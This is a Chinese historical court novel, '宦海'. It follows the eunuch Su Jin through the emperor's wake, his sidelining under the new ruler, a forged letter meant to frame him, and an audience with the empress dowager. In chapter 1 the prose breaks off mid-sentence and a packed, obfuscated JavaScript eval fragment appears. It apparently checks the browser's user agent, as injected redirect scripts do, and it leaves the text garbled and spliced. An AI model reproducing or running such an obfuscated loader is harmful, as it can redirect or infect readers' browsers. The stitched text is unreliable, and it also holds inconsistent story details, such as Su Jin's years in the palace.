《宦海》 1. 守灵 天顺十八年，六月廿三。 皇帝驾崩了。 消息是五更天传出来的。乾清宫的大太监站在丹陛上，哑着嗓子喊了三声，声音像破锣，在晨雾里飘散。然后整个皇宫就醒了，不是平常那种醒，是从梦里被人生生掐醒的。 苏瑾当时正在值房里打盹。他刚睡着，就被一阵杂沓的脚步声惊醒。推开门，廊下已经站满了人，个个脸色煞白，像见了鬼。 “苏公公——”小顺子跑过来，腿都在抖，“陛下……陛下龙驭上宾了。” 苏瑾愣了一下。 就那么一愣神的功夫，他已经迈开步子往外走了。他不知道要去哪儿，只知道该走。腿比脑子快，这是二十三年宫里生活磨出来的本能。等你反应过来的时候，人已经在路上了。 等他回过神，人已经跪在乾清宫的灵堂里了。 这一跪，就是三天三夜。 灵堂设在正殿。 从殿门到棺椁，整整九十九步。先帝躺在金丝楠木的棺材里，描龙画凤，在烛火下泛着幽幽的光。棺前供着三尺高的长明灯，火苗摇曳，把满殿的白幔照得忽明忽暗。白幔上用银线绣着仙鹤祥云，烛光一照，那些仙鹤活过来似的，在幔帐上缓缓飞舞。鹤眼是黑琉璃镶的，烛火掠过时会闪一下，像真的在眨眼睛。 苏瑾跪在最不起眼的角落里。 他是太监，不配跪在前面。前面跪的是亲王、郡王、内阁大臣、六部尚书、勋贵外戚，乌压压一片，从殿内一直跪到殿外。殿外还有更多的人，各级官员，侍卫，太监，宫女，黑压压跪满了整个乾清门广场。几千人跪在一起，却安静得只能听见哭声。 哭声此起彼伏，像潮水一样涌来涌去。 有人哭得撕心裂肺，有人哭得捶胸顿足，有人拿袖子遮着脸，肩膀一耸一耸，不知道是在哭还是在笑。还有的人只是低着头，肩膀也不动，但能听见细细的抽泣声，像蚊子叫。苏瑾知道，那些才是真哭的人。真正伤心的人，是哭不出声来的。 苏瑾也哭。 眼泪是真的，但不是因为伤心。是因为困——三天三夜没合眼，眼睛熬不住了，泪止都止不住。他也不敢擦，只能任那眼泪顺着脸颊往下流，流到嘴角，咸的。流到下巴，滴在胸前，把衣襟洇湿了一小块。那一小块湿痕慢慢扩大，从指甲盖大小变成铜钱大小，又从铜钱大小变成巴掌大小。衣襟贴在胸口上，凉凉的。 身边有人小声嘀咕：“苏公公，您哭得可真伤心。” 苏瑾没转头，也没吭声。 他知道那是谁——司礼监的一个小太监，叫小顺子，平时给他端茶倒水的。这孩子才十六岁，不懂事，这种场合还敢嘀咕。苏瑾没理他，只是微微摇了摇头，示意他别说话。这种地方，说错一句话，可能就没命了。 小顺子缩了缩脖子，不敢再吭声。但他还是偷偷看了苏瑾一眼，眼神里有担心，也有不解。 前面忽然传来一阵更响亮的哭声，凄厉得像死了亲爹。 “先帝啊——先帝——您怎么就这么去了啊——” 苏瑾抬起眼皮，往前看了一眼。 哭的人是内阁次辅张谦益。他跪在首辅赵时雍身后，整个人伏在地上，肩膀剧烈抖动，哭声震得殿顶的灰尘都往下落。旁边有人扶他，他挣开，继续哭，哭得满脸是泪，鼻涕都流出来了。那样子，真像是死了亲爹。他一边哭一边喊，声音时高时低，时断时续，像唱戏一样。 苏瑾在心里数了数：这是第几个哭得比死了亲爹还惨的？第六个了。 他又数了数那些不哭的。 太子跪在最前面，离棺椁最近。他穿着一身斩衰重服，粗麻布披在身上，背对着众人，看不见表情。但从侧面能看见，他一滴眼泪都没有，只是板着脸，盯着棺椁一动不动。那目光很冷，冷得像腊月的冰。他跪得笔直，像一杆标枪插在地上，从早上到晚上，从晚上到早上，姿势都没变过。 首辅赵时雍跪在太子身后，低着头，脸上看不出表情。偶尔用袖子擦擦眼角，但那袖子是干的。他是三朝元老，见惯了这种事，知道什么时候该哭，什么时候不该哭。此刻他不哭，但谁也不敢说他不对。他跪在那里，像一尊石像，一动不动，只有呼吸时胸口的起伏证明他还活着。 东厂提督魏忠跪在另一边，也是低着头。但苏瑾能感觉到，魏忠的目光时不时往自己这边扫。像蛇，冷冰冰的，从后颈爬过。苏瑾没有回头，但那目光他感觉得到，像一根针，扎在后背上。魏忠跪的地方离他不过十几步远，但他觉得那目光像从很远的地方射过来，穿过人群，穿过烛火，直直地钉在他身上。 苏瑾收回目光，继续盯着面前的地砖。 地砖是金砖，苏州御窑烧的，敲起来有金石声。这种砖烧制极难，一窑砖要烧一年，十块里能用的不过两三块。铺在乾清宫的，都是百里挑一的精品。苏瑾跪的那一块，正好有一道细细的裂纹。裂纹从砖角斜斜延伸，像一道疤痕，又像一条小路。他盯着它，已经盯了不知多久。 脑子里转的不是先帝，是他自己。 先帝死了，他这个先帝的人，还能活多久？ 他是司礼监秉笔太监，专门替先帝批奏折。 说起来也是机缘。他九岁入宫，在宫里活了十九年。头十年，他只是在司礼监打杂，端茶倒水，磨墨铺纸。那时候他还不叫苏瑾，叫小苏子，谁都可以使唤，谁都可以骂两句。冬天手冻得裂口子，还得跪在地上擦地，擦完了手疼得握不住筷子。晚上睡觉，十个人挤一间屋子，翻身都翻不了。有人半夜尿床，第二天所有人都得闻那个味。 后来因为识字，被选去帮忙整理奏折。那时候他偷偷练字，每天趁别人睡了，用树枝在地上划。冬天手冻僵了，就哈一口气，接着划。三年下来，他写的字比那些专门练过的太监还好。再后来，先帝发现他字写得好，心又细，就让他试着批几本。那一年他二十三岁，第一次走进乾清宫，跪在先帝面前，手抖得差点握不住笔。 先帝看了他一眼，说：“抖什么？又不是让你去死。” 就这一句话，他就不抖了。 批着批着，就成了习惯。 先帝懒，不喜欢看那些长篇大论的奏章。尤其是后期，身体不好，精神不济，更是懒得看。就让苏瑾念给他听，念完了说“准”或“不准”，苏瑾再替他写上去。有时候先帝听着听着就睡着了，苏瑾就跪在那儿等着，等先帝醒了再接着念。有时候一等就是一个时辰，跪得膝盖都麻了，但不敢动。有一次先帝睡了一个下午，他就跪了一个下午，等先帝醒来，他的腿已经站不起来了。先帝看了，让人扶他出去，还赏了他一块点心。 写了五年，苏瑾比任何人都清楚先帝的心思，也比任何人都清楚那些奏折里藏着什么。 哪个人贪了多少，哪个人结了什么党，哪个人有什么把柄——他都记着。 不是记在纸上，是记在心里。 这是他的习惯。十九年，他什么都没攒下，就攒了一脑子秘密。那些秘密像账本一样，一页一页，整整齐齐，什么时候想翻，随时能翻出来。有时候半夜睡不着，他就一页一页翻，翻着翻着天就亮了。那些秘密陪他度过了无数个孤独的夜晚。 以前这些秘密是他的护身符，因为先帝需要他。先帝需要一个帮他记住这些的人，也需要一个能替他挡事的人。有些事先帝不想亲自做，就让苏瑾去做；有些话先帝不想亲口说，就让苏瑾去说。苏瑾就是那个人。 现在先帝没了，这些秘密还是护身符吗？ 还是说，变成了催命符？ 苏瑾不知道。 他只知道，从今天起，他得自己想办法活下去。 灵堂里的哭声一直没有断过。 有人哭累了，歇一会儿，喝口水，继续哭。有人哭得晕过去，被抬出去，灌了药，醒了再抬回来接着哭。有人哭得嗓子都哑了，还在那儿干嚎，像一只被踩了脖子的鸡。还有的人，哭一会儿歇一会儿，歇一会儿再哭一会儿，像在完成任务。 苏瑾看着，觉得有些可笑。 他想起先帝活着的时候，这些人可不是这样的。张谦益被先帝骂过十七八回，每次骂完，回家都要骂先帝“刚愎自用”。有一次被苏瑾听见了，他吓得脸都白了，苏瑾只是笑笑，什么都没说。现在倒哭得最响。他哭的时候，苏瑾看见他偷偷往这边瞟了一眼，看有没有人注意他哭得多伤心。 还有那几个勋贵，先帝在位时他们贪了多少，先帝都睁一只眼闭一只眼。有一个，贪了军饷，被御史弹劾，先帝压了下去，只罚了半年俸禄。那人当时跪在乾清宫外，磕头磕得额头都破了，口口声声说“先帝再生父母”。现在他也跪在这儿，哭得像死了亲爹。但苏瑾知道，他哭的不是先帝，是他的靠山没了。 可笑。 但苏瑾没笑。他只是看着，像一个局外人，看着一场荒诞的戏。 十九年了。他见过太多人起起落落，昨天还在他面前趾高气扬，今天就被拖出午门。他早就看惯了。 只有一样东西不变——活着的人总要继续活着。 第三天夜里，守灵的人少了一半。 老弱妇孺扛不住，回去歇了。年轻力壮的也扛不住，找个角落打盹。灵堂里只剩下稀稀拉拉几十个人，跪在那里像一根根蜡烛，有的已经灭了。烛火也暗了许多，长明灯里的油快见底了，火光比之前小了一半。有人来添油，轻手轻脚的，怕吵着人。 夜已经深了。殿外黑沉沉的，一丝月光都没有。偶尔有风从门缝里钻进来，吹得白幔轻轻晃动，像鬼影。寒意从地砖往上渗，膝盖早已麻木，感觉不到疼了，只是僵硬得厉害。身子像不是自己的，但他仍撑着，腰挺得笔直。 从先帝咽气那一刻起，他就知道自己被人盯上了。不是一个人，是好几拨人。太子的人在看他，东厂的人在看他，连内阁那几个阁老，也时不时把目光往他这边扫。那些目光像钩子，挂在他身上，他动一下，钩子就扯一下。 他在等。 等什么？等一个结果。 先帝的丧事办完，就该轮到办他了。 外头忽然传来一阵脚步声。 脚步声很轻，但很稳，踩在青石板上，一下一下，像敲在心上。在这寂静的深夜里，格外清晰。苏瑾听出来了，那是魏忠的脚步声。他在宫里活了十九年，每个人的脚步声他都能分辨。魏忠走路向来很轻，但每一步都踩得很实，像要把地砖踩碎似的。 苏瑾没抬头。 脚步声越来越近，然后停在他身边。 一双黑靴出现在他余光里。靴面干干净净，一丝灰尘都没有。这种时候还有心思擦靴子的人，不是心太大，就是心太狠。 “苏公公，还跪着呢？”魏忠的声音从头顶传来，带着笑。 苏瑾抬起头。 魏忠站在他面前，低头看着他。烛火从侧面照过来，把魏忠的脸照得半明半暗，像一尊从黑暗里走出来的神像。那张脸瘦削，鹰钩鼻，眼睛细长，笑起来的时候让人发冷。他的嘴唇很薄，抿成一条线，不说话的时候也像是在算计什么。 苏瑾说：“魏公公不也熬着呢？” 魏忠笑得更温和了：“我熬是应该的。你熬，可就未必了。” 苏瑾没接话。 魏忠蹲下来，凑到他耳边。那股热气喷在苏瑾耳朵上，像蛇信子在舔。苏瑾闻到一股檀香味，魏忠身上总是有檀香味，据说是每天用檀香熏衣服。但此刻这香味让苏瑾觉得恶心，像坟前的香火味。魏忠蹲得很低，膝盖几乎碰到地，但他的腰挺得很直，像一头随时要扑过来的野兽。 “有人让我带句话给你，”魏忠的声音压得很低，低到只有两个人能听见，“先帝没了，你该知道自己的身份。有些话，该烂在肚子里的，就烂在肚子里。说出来的话，会死人的。” 苏瑾没动，也没说话。 魏忠等了等，见他不接话，又说：“苏公公，你是个聪明人。聪明人，应该知道怎么选。” 苏瑾这才开口，声音很平：“多谢魏公公提醒。” 魏忠盯着他，看了片刻。那目光像刀子，在他脸上刮来刮去。 然后魏忠笑了，拍拍他的肩，站起来走了。 那几下拍得很轻，像长辈勉励晚辈。但苏瑾知道，那是在警告，也是在试探。魏忠在看他怕不怕，看他会不会慌。他不能慌，也不能怕。一慌一怕，就输了。 他跪在那里，一动不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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守灵的队伍换了一批人，跪了三天三夜的那些被扶出去休息。苏瑾也被扶了起来，两条腿已经跪麻了，站都站不稳。膝盖像被针扎一样疼，每走一步都钻心。但他脸上什么表情都没有，只是低着头，看着脚下的路。他不能让别人看出来他疼，不能让别人看出来他累。疼和累，都是弱点。 小顺子跑过来，架着他往外走。 “苏公公，您慢点。”小顺子小声说。 苏瑾没吭声，只是靠着他，一步一步往外挪。 走到殿门口，他回头看了一眼。 灵堂里，太子还跪在最前面，一动不动，像一尊雕塑。长明灯已经被添了油，火光重新旺了起来，照在棺椁上，金丝楠木泛着温暖的光。先帝躺在里面，再也不会睁开眼睛。 那个让他批了五年奏折的人，那个有时候会赏他一块点心的人，那个明知道他记住了多少秘密却从不多问的人——就这么没了。 苏瑾站了一会儿，转身走了。 外面太阳已经升起来了，晃得人眼睛疼。苏瑾眯着眼，被小顺子扶着，一步一步往司礼监的值房走。路上遇到的人，都低头侧身，让他先过。有几个人还叫了声“苏公公”，声音里带着讨好，也带着试探。 苏瑾知道，他们看的不是他，是他身上那层皮——先帝心腹的皮。这层皮还能穿多久，谁也不知道。也许明天，也许后天，也许一个月后，就会有人把这层皮扒下来，扔在地上踩。 走到值房门口，苏瑾停下来，对小顺子说：“你去歇着吧，不用管我。” 小顺子犹豫了一下：“您一个人……” “没事。”苏瑾摆摆手，“我想一个人待会儿。” 小顺子点点头，走了。走了几步又回头看了一眼，然后小跑着消失在拐角。苏瑾看着他的背影，忽然想起自己十六岁的时候，也是这么跑着给人端茶倒水。那时候他跑得比小顺子还快，生怕慢了被人骂。 他推开门，进了值房。 值房很小，一张桌案，一把椅子，一个书架，一扇窗。桌案上还摊着他最后一次批的奏折，是先帝驾崩前三天的。他批了一半，就被人叫走了。 他走过去，坐下来，看着那本奏折。 上面有他写的字：“准。钦此。” 那是先帝说的最后一句话。 他盯着那几个字，看了很久。然后他把奏折合上，放在一边。站起来，走到窗边，推开窗户。 外面的天空很蓝，蓝得晃眼。远处有太监在扫地，扫帚划过青石板，发出沙沙的响声。更远的地方，宫殿的屋顶在阳光下闪着金光。琉璃瓦，黄灿灿的，像铺了一层金。那些屋顶他看了十九年，从来没觉得好看。今天忽然觉得，真好看。 他在这个宫里活了十九年。 十九年，他从来不知道宫外是什么样子。从九岁进宫，他就没出去过。外面的世界是什么样的？有山吗？有水吗？有田野吗？有自由自在走路的人吗？他听人说过，外面有集市，有卖糖葫芦的，有卖面人的，有唱戏的，有杂耍的。他想象不出那是什么样子。 现在，他忽然很想看看。 但他知道，现在还不是时候。 他还要活着。 活着，才有机会看。 窗外，沙沙的扫地声一直响着，像有人在提醒他：日子还要过下去。 十九年了。他在这宫里活了十九年，见过太多人起起落落。他早就明白，在这地方，能信的人只有自己。但一个人终究不够。所以他这些年，也悄悄攒下了几个信得过的人。不多，就那么三四个，但都在关键位置上。有的是库房管事的，有的是茶水房的，还有夜里巡更的。他们平时不联系，但有事的时候，会悄悄递个话。这些人，是他用命换来的，也是他最后的退路。 他站了一会儿，关上窗，回到桌案前。 他坐下来，开始整理那些奏折。 一本，两本，三本…… 他的手很稳，像什么都没发生过一样。但他脑子里一直在转着一句话： 丧事办完，就该轮到办我了。 --- 2. 晾着 丧事办完了。 棺材入了土，灵堂拆了去，白幔收进库房，长明灯熄了火。乾清宫恢复了往日的模样，金砖依旧锃亮，龙椅依旧威严，只是龙椅上换了个人。 新君登基了。 苏瑾站在司礼监的值房里，听着远处隐隐约约传来的钟鼓声。那是新君登基大典的礼乐，从午门那边飘过来，断断续续，听不真切。他站了一会儿，转身回到桌案前，继续整理那些奏折。 奏折已经整理完了。整整齐齐码在架子上，按年份，按月份，按类别，一摞一摞，好找得很。但他还是每天翻一翻，抹一抹灰，好像这样就能证明自己还有事做。 其实他知道，没事做了。 从先帝驾崩那天起，他就没事做了。 新君不需要他批奏折。新君有自己的心腹，有自己的班底，有东宫带过来的一整套人马。司礼监里新来了好几个太监，年轻的，能干的，会来事儿的。他们每天进进出出，忙忙碌碌，捧着奏折跑来跑去，脸上带着新得势的人才有的那种光彩。 苏瑾看着他们，像看一群不认识的人。 也没人理他。 以前见了他要叫“苏公公”的人，现在见了面点点头就过去了。以前要找他办事的人，现在绕着他走，好像他身上有什么不干净的东西。以前那些巴结他、讨好他、想方设法往他跟前凑的人，现在连影子都见不着了。 苏瑾不在意。 他在宫里活了十九年，见过太多这样的人。你有用时，他们比狗还殷勤；你没用时，他们躲得比兔子还快。他早就看透了。 他只是每天照常来值房坐着，从早坐到晚，从日出坐到日落。有时候翻翻书，有时候发发呆，有时候就盯着窗外那棵老槐树，看叶子一片一片落下来。 小顺子有时候来看他，端杯茶，送盘点心，陪他说几句话。这孩子是唯一还往他跟前凑的人。苏瑾不让他来，怕连累他，但小顺子不听。 “苏公公，您尝尝这个，御膳房新做的桂花糕。”小顺子把碟子放在桌上，笑嘻嘻的。 苏瑾看了一眼，没动。 小顺子也不恼，自己拿了一块吃，吃得满嘴都是渣。他一边吃一边说：“苏公公，外头可热闹了。新皇登基，大赦天下，好多人都放了。您听说了吗？” 苏瑾点点头。 “还有，”小顺子压低声音，“听说要清算先帝的旧人呢。赵阁老，就是那个首辅，已经罢官了。还有东厂那个魏忠，也下了大牢。还有……” “小顺子。”苏瑾打断他。 小顺子一愣。 苏瑾看着他，说：“这些话，在外面不要乱说。” 小顺子缩了缩脖子，小声说：“我就在您这儿说说。” 苏瑾没再说话。他端起那杯茶，喝了一口。茶是凉的，小顺子端来的时候就是凉的。这孩子不懂，热茶才能待客，凉茶是打发人的。但苏瑾没说什么，一口一口喝完了。 小顺子走了以后，苏瑾继续坐着。 他想起小顺子刚才说的话。赵时雍罢官了。魏忠下狱了。还有好几个先帝的旧人，有的罢官，有的流放，有的直接砍了头。新君下手很快，一点也不拖泥带水。 但他呢？ 苏瑾想了很久，想不出自己会是什么下场。 杀他？他只是个太监，没权没势，杀他做什么？留他？他是先帝的心腹，留着是个祸害。放他？他知道那么多秘事，放出去更危险。用他？新君有自己的心腹，用不着他。 想来想去，只有一个结果—— 晾着。 不杀，不留，不放，不用。就晾在那儿，像一件用旧的家具，扔在角落里落灰。没人管，没人问，没人理。 苏瑾知道这种“晾着”比杀头还可怕。杀头是一刀的事，疼一下就过去了。晾着是一刀一刀地割，今天割一点，明天割一点，不知道要割到什么时候。你不知道什么时候是个头，不知道会不会突然有人来把你拖走，不知道明天还能不能睁开眼睛。 但苏瑾没有别的办法。 他只能等。 接下来几天，小顺子来得更勤了。 每次来都带点消息。谁被查了，谁被抓了，谁又升官了。苏瑾听着，脸上没什么表情，但都记在心里。 这天下午，小顺子又来了。他神神秘秘地凑过来，压低声音说：“苏公公，我听说东厂那边在查您。” 苏瑾心里一动，但脸上什么表情都没有。他问：“查什么？” 小顺子说：“不知道。我有个老乡在东厂当差，他偷偷告诉我的。说他们头儿派了好几个人，专门查您的事。查您这些年跟谁来往，说过什么话，做过什么事。” 苏瑾点点头：“知道了。” 小顺子说：“您可得小心点。东厂那些人，没一个好东西。” 苏瑾说：“嗯。” 小顺子走了。 苏瑾坐在椅子上，开始想事情。 东厂在查他。这是陈提督的意思。陈提督表面上没动他，背地里却在搞小动作。 但不止东厂。 他想起前几天，老周夜里来敲门时说过的话。老周在宫里巡更四十年，眼线多，消息灵通。那天晚上，老周压低声音说：“苏公公，张谦益的人也在查您。还有一拨，藏得深，看不出来是谁的人。” 苏瑾当时没说话，但把这话记下了。 所以他知道，盯上他的，至少有三拨人。 这天夜里，巡更的老周来敲门。 老周六十多了，在宫里巡更四十年，什么人都见过，什么事都经过。这些年，明里暗里帮过苏瑾不少忙。两人有个约定：夜里有事，就敲三下，停一下，再敲两下。 他敲了三下，停一下，又敲两下。 苏瑾开了门。 老周闪进来，把门关上，从怀里掏出一个纸包，递给苏瑾。 苏瑾打开一看，是一封信的抄本。信是写给一个叫“王大人”的，落款处赫然写着苏瑾的名字。信里说，愿意为这位王大人效劳，日后若有机会，定当报答。话里话外，透着勾结的意思。 苏瑾看着这封信，笑了。 老周看着他，说：“这东西，是从东厂那边流出来的。他们准备过几天就递上去。” 苏瑾点点头，把信收起来。 老周说：“你打算怎么办？” 苏瑾说：“先看看。” 老周没再问，走了。 苏瑾把门关上，回到桌边，把信又看了一遍。信写得很好，字迹模仿得很像，语气也模仿得很像。如果不是他知道自己从来没写过这封信，他都会以为是真的。 这是要他的命。 私通外官，是死罪。尤其是太监私通外官，更是死罪中的死罪。这封信递上去，他必死无疑。 但苏瑾没有慌。 他把信折好，放进袖子里。然后坐在那儿，想事情。 他在想，是谁干的。 张谦益的人？有可能。张谦益现在正四处找茬，想立功。东厂的人？也有可能。新提督想证明自己比魏忠能干，拿他开刀正好。还有那第三拨人，也有可能。 但不管是谁干的，都不重要。重要的是，他 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然后他问：“你凭什么觉得太后会听你的？” 苏瑾说：“我没觉得她会听。但至少，让她知道有这回事。” 冯保想了很久，最后点点头：“行，我试试。但不保证有用。” 苏瑾站起来，行了个礼：“多谢冯公公。” 冯保摆摆手：“别谢我。我也不是帮你。”他顿了顿，“苏瑾，你知道我为什么愿意替你递这个话吗？” 苏瑾说：“不知道。” 冯保说：“因为我觉得你说得有道理。这个节骨眼上，杀太多人，确实不是好事。”他苦笑了一下，“我也怕。怕有一天，轮到我自己。” 苏瑾看着他，没说话。 冯保站起来，走到门口，又回头看了一眼：“你自己小心点。” 然后他推开门，走了。 苏瑾站在原地，看着那扇门在自己面前关上。 他没有立刻离开，只是站在那儿，一动不动。 冯保刚才说的那句话还在他耳边——“我也怕。怕有一天，轮到我自己。” 连冯保那样的人，明哲保身一辈子，也怕。 可见这宫里，没有人不怕。 他低头看了看自己的手。手心还有汗，刚才握那封信时留下的。 他又抬起头，看了看这间值房。冯保的值房比他的大，陈设也讲究些，墙上挂着一幅字，是“明哲保身”四个字。苏瑾看着那四个字，忽然觉得有些可笑。 明哲保身。 保得住吗？ 冯保在这间值房里，保了二十年。可今天，他还是说出了“怕”字。 苏瑾站了很久，直到腿有些发酸，才慢慢转身，推开门，走了出去。 外面天已经大亮了。阳光刺得他眯起眼睛。 他一步一步往回走。 走到自己值房门口，他推开门，走进去，坐下来。 他开始等。 等一个结果。 窗外，那棵老槐树的叶子落得更厉害了。光秃秃的枝丫伸向天空，像一只只枯瘦的手。再过些日子，冬天就要来了。 冬天来了，他还能不能看到来年的春天？ 不知道。 但他知道，他不能就这么等死。 他开始想，接下来该怎么办。 --- 3. 账本 还没等他想出个头绪，锦衣卫就来了。 那天早上，苏瑾像往常一样去值房。刚坐下，门就被推开了。进来的是几个锦衣卫，为首的是个年轻的百户，脸色很冷。 “苏公公，请跟我们走一趟。” 苏瑾站起来，问：“什么事？” 百户说：“到了就知道了。” 苏瑾点点头，没再多问。他跟着他们往外走。走到门口，他回头看了一眼。值房还是那个值房，桌案还是那张桌案，窗外那棵老槐树的叶子已经落得差不多了。他看了十九年的地方，也许再也回不来了。 他收回目光，跟着锦衣卫走了。 锦衣卫把他带到了一个地方。 不是诏狱，不是刑部大牢，是一间小屋。小屋在东华门旁边，窄窄的，暗暗的，只有一张床、一张桌子、一把椅子。窗户用木板钉死了，透不进一点光。门从外面锁着，只有送饭的时候才打开。 苏瑾被关在这里，已经三天了。 三天里，没有人来审他，没有人来问他。只有每天早晚两次，有人从门上的小洞里塞进来一碗饭、一碗水。饭是糙米饭，硬得硌牙；水是凉水，带着一股铁锈味。苏瑾都吃了，都喝了。他得活着。 他不知道外面发生了什么。 但他知道，这三天里，一定有人在等。等他怕，等他慌，等他崩溃。等他主动开口求饶，或者主动招供什么。 他不急。 他比那些人更有耐心。十九年的深宫生活，教会他的第一件事就是等。等机会，等时机，等人犯错。他等得起。 他躺在床上，盯着头顶黑乎乎的房梁，开始在脑子里翻那本账。 这一次，他翻得更仔细。 张谦益的事，他知道很多。 这位新任内阁首辅，表面上一团和气，背地里干的那些事，够砍十次头。三年前河南修河堤，他吃了两万两。那笔钱是从河工料银里扣出来的，扣得干干净净，账面上一点痕迹都看不出来。但苏瑾知道，因为他看过那本账。河南布政使的奏折里，有一句“河工料银短缺”，数字刚好对不上。先帝当时骂了一句，后来就不了了之。但苏瑾记住了那个数字，也记住了那本奏折的编号——天顺十六年七月二十四日，河南布政使司呈报，存档编号丙午七十三号。 还有去年浙江的乡试，张谦益收了五万两，卖了三个名额。那三个人的卷子，苏瑾看过，狗屁不通。但他们都中了，都当了官。有人弹劾，奏折被张谦益压了下去。先帝问起，张谦益说“查无实据”，先帝就没再问。那封弹劾奏折，是先帝让苏瑾归档的，他亲手放进了丙午八十九号卷宗里。 还有更早的，五年前，张谦益的弟弟在老家强占民田，逼死了三条人命。苦主告到京城，张谦益花了一万两把事情摆平。那个替他去办的人，就是现在东厂的陈提督。那时候陈提督还在刑部当个小官，收了钱，把案子压了下去。案卷还在刑部的旧档里，编号乙卯一百二十三号。 这些事，苏瑾都记得。时间，地点，人物，数字，卷宗编号，一清二楚。 他一条一条地过，像过筛子一样，把张谦益的每一条罪状都筛得清清楚楚。 陈提督的事，他也知道不少。 这位新东厂提督，比魏忠还狠。魏忠好歹还讲点规矩，知道什么人能动什么人不能动。陈提督不管，他想动谁就动谁，想怎么动就怎么动。这三个月里，东厂大牢里关了一百多号人，有一半是无辜的。有的是得罪了他，有的是他不顺眼，有的是他想要人家的家产。 陈提督自己也贪。他抄别人的家，自己先拿一份。抄了二十多家，他拿了不下十万两。那些银子都藏在城外的一个庄子里，是他用别人的名义买的。庄子叫“李家庄”，地契上写的是一个叫李四的人，那是他远房表弟。 还有一件事，陈提督不知道苏瑾知道。三年前，魏忠害死周文渊的时候，陈提督就在旁边。他不是主谋，但他是帮凶。周文渊的血书里提到过一个人，“陈姓狱官，助纣为虐，亲自动手”，说的就是他。那封血书，周文渊的遗孀还藏着。 这些事，苏瑾也记得。 他继续翻。 张谦益的人，陈提督的人，还有几个新君身边的新贵，一个个从他脑子里过。谁贪了多少，谁害了谁，谁有什么把柄，谁有什么软肋，他都记得。有的人怕老婆，有的人好男风，有的人有私生子在外面，有的人收了钱没办事得罪了人。这些事，有的能要命，有的能毁人，有的只是让人难受一阵子。但关键时候，都能用上。 一页一页，清清楚楚。 翻完了，他睁开眼睛。 天还是黑的。他不知道自己翻了多久，也许一个时辰，也许两个时辰。屋子里没有光，分不清白天黑夜。但他不困，也不累。翻这本账，就像翻自己的命。 他在想，这些东西，该怎么用。 直接拿出来？不行。拿出来就是死路一条。那些人不会让他活着走出去。 威胁他们？也不行。他人在牢里，威胁有什么用。 他得想一个办法，让这些东西发挥作用，又不让自己搭进去。 他想到了一个人。 太后。 太后是唯一可能保他的人。不是因为她心善，是因为她聪明。她知道，杀太多先帝旧人，朝局会乱。她也知道，苏瑾脑子里那些东西，有用。留着，比杀了强。 但太后会出手吗？ 苏瑾不知道。 他只能等。 又过了两天。 第五天，门开了。 进来的不是锦衣卫，是一个太监。那太监四十来岁，面生，苏瑾没见过。他站在门口，面无表情地说：“苏公公，请跟我走。” 苏瑾站起来，跟着他往外走。 走出小屋，阳光刺得他睁不开眼。他眯着眼睛，一步一步跟着那个太监走。走过东华门，走过长长的甬道，走过一道道宫门。一路上很多人看见他，但没人说话。 最后，他们停在一个地方。 慈宁宫。 太后的寝宫。 太监进去通报，过了一会儿出来，说：“太后召见。苏公公，请。” 苏瑾整了整衣襟，走了进去。 慈宁宫里很暗，窗帘都拉着，只有几盏宫灯亮着。太后坐在榻上，手里拿着一串佛珠，慢慢地捻着。她穿着常服，没有化妆，看起来比平时老一些。眼角有细密的皱纹，嘴唇微微抿着，让人看不出喜怒。 苏瑾跪下，磕头：“奴才苏瑾，叩见太后。” 太后没让他起来。 她就那么看着他，看了很久。 苏瑾跪在地上，一动不动。地上铺着金砖，凉意从膝盖传上来，一点一点往上爬。但他脸上什么表情都没有，只是低着头，盯着面前的那块砖。砖面上有一道细细的划痕，不知道是什么时候留下的。 过了很久，太后开口了。 “苏瑾，”她的声音很慢，很轻，像从很远的地方飘过来，“你知不知道，你差点死了？” 苏瑾说：“奴才知道。” 太后说：“那封信，要是递上去，你活不过三天。” 苏瑾说：“奴才多谢太后救命之恩。” 太后捻着佛珠的手停了一下，然后继续捻。她说：“你怎么知道是我救的你？” 苏瑾说：“除了太后，没人会救奴才。” 太后笑了一声，笑声里听不出是什么意思。她说：“你倒是聪明。那你知不知道，我为什么要救你？” 苏瑾说：“奴才不敢妄猜。” 太后说：“猜猜看。” 苏瑾沉默了一会儿，说：“太后是明白人，知道这个时候杀太多先帝旧人，不是好事。” 太后点点头：“还有呢？” 苏瑾说：“太后也知道，奴才脑子里有些东西，留着有用。” 太后又笑了，这次笑声里带着点赞赏。她说：“苏瑾啊苏瑾，怪不得先帝那么喜欢你。你是真聪明。” 苏瑾说：“奴才不敢。” 太后说：“起来吧，跪着说话不累吗？” 苏瑾站起来，垂手站在一边。 太后看着他，说：“你脑子里的那些东西，我知道。先帝在的时候，我就听他说过，你记性好，什么都记得住。那时候我没在意，现在想想，倒是件好事。” 苏瑾不说话。 太后继续说：“张谦益那个人，我不喜欢。他太滑了，用着不放心。陈提督那个人，我也不喜欢。他太狠了，容易惹事。但他们现在有用，我得留着。” 苏瑾点点头。 太后看着他，说：“你呢？你有什么用？” 苏瑾说：“太后想让奴才有什么用，奴才就有什么用。” 太后笑了，这次是真笑。她说：“你倒是会说话。”她放下佛珠，端起茶碗，喝了一口，“这样吧，你先回去，该干嘛干嘛。有什么事，我会让人找你。” 苏瑾跪下，磕头：“奴才谢太后恩典。” 太后摆摆手：“去吧。” 苏瑾站起来，退了出去。 走出慈宁宫，外面的阳光还是那么刺眼。苏瑾站在门口，闭了闭眼，然后一步一步往回走。 他知道，他暂时安全了。 但只是暂时。 太后用他，是因为有用。哪一天没用了，太后一样会杀他。他得趁着这段时间，让自己变得更有用，也让别人不敢轻易动他。 他回了司礼监的值房。 推开门，一切还是原来的样子。桌案，椅子，书架，窗户。窗外的老槐树还是光秃秃的，但枝丫上好像冒出了一点绿芽。春天快来了。 苏瑾坐下来，开始想事情。 他要想的事情很多。 太后这边，他得保持联系。但也不能太勤，太勤了显得巴结。得等太后找他，不能他找太后。 张谦益那边，他得防着。张谦益不会甘心，肯定还会想办法动他。他得准备一些东西，让张谦益不敢轻易下手。 陈提督那边，他也得防着。陈提督比张谦益还危险，因为他不讲规矩。他得准备一些东西，让陈提督知道，动他是有代价的。 还有新君。新君对他什么态度，他还不知道。但新君是太后亲生的，太后保他，新君应该不会明着动他。但暗地里呢？不知道。 他想了很多，想了一整天。 晚上，小顺子来了。 